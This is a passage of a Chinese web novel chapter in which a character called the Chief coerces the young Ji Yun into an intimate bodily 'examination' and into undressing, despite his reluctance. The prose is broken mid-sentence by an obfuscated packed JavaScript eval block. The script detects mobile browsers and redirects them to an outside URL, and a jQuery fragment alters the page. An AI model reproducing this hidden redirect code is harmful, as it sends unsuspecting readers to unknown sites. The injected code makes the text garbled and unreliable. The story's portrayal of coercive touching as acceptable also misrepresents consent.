梦里纪运成功使用了催眠异能,无论是霍钊还是首席,都只能乖乖听从他的命令。他成为了世界第一异能强者,无论走到哪里都有崇拜的视线。 直到一阵有节奏的敲门声响起,纪运才从昏昏沉沉的梦境中醒了过来。 他下意识询问了一下,听到门口传来管家的声音,提醒晚餐已经做好,首席也先一步到了餐厅。 听到管家的话语,纪运彻底清醒:“我马上就来!” 换下睡衣,纪运匆匆朝着楼下走去。 等他到达餐厅时,首席已经坐在餐桌前了。 他正低头看一份文件,听到脚步声抬起头来,那双浅色的眼睛在烛光中显得格外透亮,像被火焰融化的琥珀,温暖,却让人看不透底下的颜色。 纪运在那道目光中走上前去,拉开椅子准备坐下。 “过来。”首席说。 虽然首席的声音不大,但是话语间习惯性的命令和强势还是遮掩不住,令纪运下意识停下了脚步。 纪运有些疑惑,但还是松开了椅背,绕过了那张椅子,走向首席。 首席没有站起来,甚至没有动。他只是微微抬着头,看着纪运一步一步地走近,目光从纪运的眼睛移到他的鼻梁,从鼻梁移到嘴唇,从嘴唇移到下颌。那道移动的轨迹很慢,慢到纪运能感觉到那道目光在自己皮肤上游走的路径,像一支看不见的笔,在他脸上画着什么。 纪运在距离首席一步远的地方停下。 首席抬起手,手指伸向纪运的脸。纪运的呼吸在那一瞬间停住了,下意识想要后退,但对方的速度更快,指尖触上了他的下颌,力道轻得像一片落在皮肤上的羽毛,指腹沿着下颌的弧线向上移动,经过下巴,经过下唇下方的凹陷,最后停在了下唇的边缘。 纪运的睫毛猛地颤了一下。 首席的指腹贴着他的下唇,轻轻贴着那片今天被反复碾磨过无数次的薄薄皮肤。那道经过管家治疗之后已经基本看不出痕迹的皮肤,在首席的指腹下依然能感觉到那一丝若有若无的、被什么东西反复舔舐过无数次的灼热。 首席:“管家说耳钉的副作用作用在了嘴唇上,现在怎么样?” 管家忠实的将纪运的一切情况报告给了首席,而耳钉副作用更是重中之重。 纪运没想到自己随口编的谎言真的传入到了首席耳边,不过现在否认就意味着之前说谎,纪运还是觉得继续这个谎言,顺势点了点头。 纪运:“已经好多了.....” 首席:“其他地方呢?” 纪运:“.....其他地方?” 他感觉自己一时间有些无法理解首席的话语。 首席的目光从纪运的眼睛移到他的脖颈,从脖颈移到锁骨,从锁骨移到肩膀,从肩膀移到手臂。那道目光不急不缓,像一台被调整到最慢速的扫描仪,不放过任何一个角落,而后才缓缓开口:“耳钉的副作用可能会出现在身体任何部位。” “既然副作用已经显现,就有可能出现在嘴唇,脖颈,胸口,后背……任何地方。” 纪运的呼吸一顿。 因为首席的手指从他的脸颊移到了他的脖颈,指腹贴着他的喉结,停在那里。纪运能感觉到自己喉结在那根手指下滚动了一下,滚动的幅度不大,但足够让他的皮肤触上首席的指腹。 他隐隐猜到了首席要做什么。 纪运:“其他地方我没有感觉到什么问题.....” 然而纪运的话音落下,首席的手指没有移开,拇指贴着喉结的左侧,食指贴着一侧,两根手指之间夹着那块微微凸起的软骨。虽然力道不大,但是也难以挣脱。纪运能感觉到自己吞咽的动作在那两根手指的束缚下变得困难了,不是因为力度太大,是因为他不确定自己吞咽的时候,喉咙的起伏会不会被那两根手指完整地、一帧不落地记录下来。 “这不是小问题。”首席说,声线温和而平缓,像一个大人在哄一个不听话的孩子:“任何副作用都需要引起重视。现在不检查清楚,以后可能会更严重。” 纪运觉得自己并不讳病忌医,问题是首席的检查方式在他看来很奇怪。 首席的手指从他的喉结上移开了,顺着脖颈的弧线向下滑动。指腹经过颈侧那根快速跳动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539592|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动脉时停了一下,停了不到半秒,短到如果不是纪运全部的注意力都集中在那一小片皮肤上根本不可能注意到。但纪运注意到了,他感觉到首席的指腹在那根血管上轻轻按了一下,像在确认它的跳动频率,又像在把那个频率记下来。 首席:“心跳很快。” 他的语气认真,仿佛此时此刻真的成了治疗系异能者。 首席的手指继续向下移动,从脖颈移到锁骨。纪运的衬衫领口微微敞着,露出锁骨下方一小片白皙的皮肤。那道锁骨在灯光下形成一道优美的凹陷,又从锁骨移到肩膀,指腹隔着那层薄薄的衬衫衣料按在肩头的骨骼上,按了一下,又按了一下,力度不轻不重,像检查病人身体时的标准力度。 首席:“这里呢。” 纪运也意识到首席已经做了决定,他只有早些配合才能从眼前的环境中挣脱。 纪运配合出声:“感觉很好。” 首席的动作停了下来,纪运以为检查结束,悄悄松了一口气,只是没想到下一秒,首席的声音再次响了起来。 首席:“衣服。” 纪运的睫毛猛地颤了一下。他看着首席,那双黑色的眼睛里有一瞬间的茫然,像一个人听到了一个自己认识每一个字却无法理解整体含义的句子。 首席:“脱去衣服可以更细致的检查。” 纪运下意识想要拒绝,但是首席的手指从纪运的肩膀上收回来,垂在身侧,整个人微微后仰靠在椅背上,给纪运留出了足够的空间。但他的目光没有移开,那双浅色的眼睛安静地看着纪运,不急不躁,像一个已经等了很久、不介意再等一会儿的人。 而对方的行动也已经告诉了纪运答案—— 他并没有什么选择的余地。 纪运安慰自己两人都是男人,平常在学院里,有些男同学还会直接在教室里换衣服,借机展示自己的身材,他的环境起码好多了,观众只有一个。 纪运很快褪去了上衣,餐厅里的温度正好,因此他并没有感觉到丝毫凉意。 首席的视线落在了纪运身上。 衬衫从纪运的肩头滑落的瞬间,光影像有了实体,一寸一寸地吻上他的皮肤。坦露的皮肤白皙,并非毫无血色的苍白,而是一种温润的、近乎透明的白,像上好的羊脂玉被灯光从内部照亮,泛着细腻柔和的光泽。 他的肩线窄而流畅,像一笔勾勒而成的弧线,从脖颈向两侧延伸,在肩膀处微微转折,形成一道凌厉却又带着少年感的棱角。虽然经常进行训练,但是纪运并没有夸张的肌肉,而是一种更含蓄的、更修长的线条,每一寸肌肉都刚刚成型,带着一种青涩的、尚未完全展开的美感。 小腹平整,随着呼吸微微起伏。 首席收起视线,从椅子上站了起来,他的动作不快,甚至可以说是很慢的,但每一步都带着一种让人无处可躲的压迫感。 纪运努力抑制住了转身想跑的冲动,转而站在原地。 首席绕到了纪运身后。 纪运看不到他了,只能感觉到他的存在。那道存在感比他站在面前时更强烈,因为看不到,所以只能靠感觉去感知。他感觉到首席的呼吸落在自己的后颈上,温热的,带着一种干净的、没有任何杂质的温度。他感觉到首席的影子从身后覆上来,将他整个人笼罩在那片阴影里。 感觉到对方的指腹轻轻触碰到他后背的那一刻,纪运差点儿跳起来,但是想到首席刚才也这样检查,纪运又冷静下来,只想着好好配合,快些结束。